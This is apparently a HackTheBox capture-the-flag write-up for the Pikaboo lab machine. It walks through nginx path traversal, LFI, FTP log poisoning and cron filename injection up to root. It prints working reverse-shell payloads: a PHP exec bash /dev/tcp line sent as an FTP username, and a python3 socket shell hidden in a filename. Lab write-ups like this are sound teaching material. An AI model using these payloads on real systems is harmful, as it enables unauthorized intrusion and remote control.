HackTheBox – Pikaboo

Link: https://app.hackthebox.eu/machines/Pikaboo

Enumeration

TCP Nmap Scan

nmap tcp, version detection, top 1000 ports

A simple nmap tcp scan reveals vsftpd 3.0.3 on port 21, OpenSSH 7.9p1 on port 22 and a nginx 1.14.2 web server on port 80. I was able to find a remote DoS script for vsftp, which will not really help us here.

Web Server

Navigated to the IP address displays a webpage named Pikaboo We have a Pokatadex tab that shows a listing of monsters, clicking any of them displays “PokeAPI Integration – Coming soon!”. There is also an admin tab that requires Basic Authentication.

I tested the Pokeapi endpoint with SQLMap but did not return meaningful results.

Gobuster reveals that anything that matches admin% seems to throw a 401 error, meaning as long as the URL is prefixed with admin, it will try to redirect to the admin page and ask for credentials. The only other directory found was /images, however directory indexing is off so we cannot see anything inside of this directory.

Next I performed a nikto scan but we were served many false positives:

nikto scan

I tested each of the URLs and all of them failed.

FTP Server

I tested for anonymous authentication but it is not working.

Here’s where we stand with enumeration so far:

  • nmap revealed 3 tcp ports: ftp, ssh, web. No known critical vulnerabilities
  • nmap revealed no open udp ports
  • I checked the HTTP headers of the website and saw nothing of interest
  • I checked the source code for pokatdex.php, contact.php, pokeapi.php and saw no revealing comments or anything of note
  • sqlmap on the pokeapi.php?id=* returned no usable results
  • Attempting manual IDOR for the pokeapi.php returned nothing
  • gobuster dir scan revealed /admin* (401 unauthorized), /images (no dir indexing)
  • gobuster file scan for ini,conf,php,txt revealed admin.php (403), contact.php (200), index.php (200)
  • nikto revealed false positives regarding backdoors (all of which failed)
  • ftp server does not have anonymous authentication on (no known credentials)
  • ssh server accepts publickey and password (no known credentials)
  • trying to access /pokeapi through postman using a method other than GET returns nothing of note
  • downloading photos from the website and running them through exiftool showed nothing.
  • reverse image searching a monster image revealed it was a stock photo

I was stumped for awhile, then I started thinking about the /admin*, where anything after /admin seems to get redirected. I attempted a /admin../ gobuster scan and revealed some more directories that redirect to 127.0.0.1:81, an internal server. This new scan revealed a lot more information, most importantly an Apache Server-Status page:

server-status

It shows another directory called /admin_staging. If we try to access this directly, it tries to 301 redirect to 127.0.0.1:81. A gobuster scan on /admin../admin_staging reveals two directories that redirect so we cannot access them. Using -x 'php,txt', we can find the following:

Gobuster found a PHPinfo page at /admin../admin_staging/info.php.

The index.php is a standard template, but clicking any items on the sidebar reveals a ?page= GET parameter which could be subject to LFI

By changing the user.php to info.php that we already know exists, it does infact load the page in frame:

LFI

I chose to use wfuzz with the Seclists/LFI/LFI-Jhaddix.txt file. If we just run:

$ wfuzz -z file,/usr/share/wordlists/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt http://10.129.95.191/admin../admin_staging/index.php?page=FUZZ

We get a bunch of false positives because the page will still return blank but load all of the css and styling. According the the wfuzz help pages here, we can use -hh to hide responses with a set baseline. Looking at our results from the first test:

initial results

All of the blank files seem to have 15349 chars, so --hh 15439 will hide them:

cleaned wfuzz results

One notable file is the FTP log. We can navigate to /admin../admin_staging/index.php?page=/var/log/vsftpd.log and then right click and view-source so it’s easier to read.

connection

We can see a user pwnmeow login to the ftp service, but <password> is not the actual password. What we can do, since we can see the log file in our PHP application, is try to login to the FTP server with a PHP command as the username. Then when we refresh the log file, it should execute a reverse shell.

<?php exec("/bin/bash -c 'bash -i > /dev/tcp/10.10.x.x/4443 0>&1'"); ?>

Set up a netcat listener, login with the above as username (i used filezilla) then refresh the log page and the nc listener attaches! We can run whoami and see we are www-data.

PrivEsc

We can navigate to /home and find the pwnmeow user. We have the ability to read the user.txt flag as www-data so we can grab that for now.

Looking around in /var/www/html, it appears root owns everything that is here so we cannot make any edits.

  • I ran find / 2>&1 | grep vsftpd.conf to find the configuration for FTP. It’s setup to disallow anonymous authentication and allow any users from the machine to login
  • I ran a similar command as above but for id_rsa to see if we could find any SSH keys but did not.I started a web server and sent linpeas over

Next I started a webserver and sent linpeas over. Here is the notable information:

  • Cronjob running as root /usr/local/bin/csvupdate_cron
  • Ldap files found (which is strange to me because this is a linux box)
  • Password hash: /etc/apache2/htpasswd:$apr1$0.2FVvEK$Xn42uf/ySS5IPTKXfebXM.

Running man ldap shows we have OpenLDAP. I googled more on OpenLDAP and came across another useful command ldapsearch. However attempting to use these returns nothing.

Inside of /opt, we have a pokeapi folder, which is the same name referenced by the web server. Inside of /opt/pokeapi/config/settings.py we have information for the ldap server:

...
DATABASES = {
     "ldap": {
         "ENGINE": "ldapdb.backends.ldap",
         "NAME": "ldap:///",
         "USER": "cn=binduser,ou=users,dc=pikaboo,dc=htb",
         "PASSWORD": "J~42%W?PFHl]g",
     },
    ...
}
...

After several minutes of trying different commands with this guide, I finally found a command that returned information:

ldapsearch -x -LLL -h 127.0.0.1 -w J~42%W?PFHl]g -D "cn=binduser,ou=users,dc=pikaboo,dc=htb" -b "dc=pikaboo,dc=htb" -s sub '(objectClass=*)'

One of the results has the password for pwnmeow:

ldap record for pwnmeow

If we pipe the password into base64 -d we get a password of: _G0tT4_C4tcH_'3m_4lL!_

This password does not work for SSH, but it does work for FTP.

I looked through the 174 directories but all of them are blank. I went back to the cron job that is running as root and the contents of /usr/local/bin/csvupdate_cron is the following:

csvupdate_cron

Our cron job will take a csv file from the ftp share and run it through the csvupdate application.

However, because of basename being in $(), that means we could name the file an actual command and it might execute it.

First, I created a blank file on my machine, test, then used ftp command line

Next, using RevShells.com, I tested the shortest Python3 command. I already ran python3 -V during enumeration and know we have Python 3.7.3 on the machine.

$ ftp 10.129.95.191
Name (...): pwnmeow
Password: _G0tT4_C4tcH_'3m_4lL!_

ftp> cd versions
ftp> put
(local-file) test
(remote-file) "|python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"10.10.14.108\",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"bash\");.csv"
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.

Unfortunately, from /etc/group, we know pwnmeow is in the group ftp, but the permissions on the directory only allow us to write but not read. I waited a minute for the cronjob to run but nothing ever hit my listener. I kept trying slightly different payloads over the next few minutes and it turns out when I copied it on my mac, it was changing the apostrophes and quotations to be a different character. This payload worked:

"|python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("\"10.10.14.108\"",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("\"sh\"")';.csv"

Our nc listener gets a hit as root and we can grab the flag!

Conclusion

The nginx misconfiguration with /admin* took me a while to figure out what exactly was wrong. This article mentions the issue having to do with the merge slash directive that allows us to do the ../ at the end.

Next, I was not familiar with the ldapsearch syntax and no matter what I seemed to try, nothing would return. I searched around the filesystem and found an interesting app in /opt, a typical custom app folder, and got a password. Finally after about 10 different attempts, the manual of ldapsearch and another article, I figured out how to get a response. I was hoping these were SSH credentials but fortunately it worked for FTP.

LinPeas.sh discovered the cronjob already, so checking that out and realizing we could pollute the name for command injection seemed easy enough but it took me awhile to get the syntax to work to get anything to return. I tried a bash command, python3 spawning bash and python3 spawning sh before I realized I had a malformed command and it finally spawned a reverse shell as root!

I learned a lot on this box, as I do with most of these boxes. Tons of fun!

Comments

No comments available.

Leave a Reply

Your email address will not be published. Required fields are marked *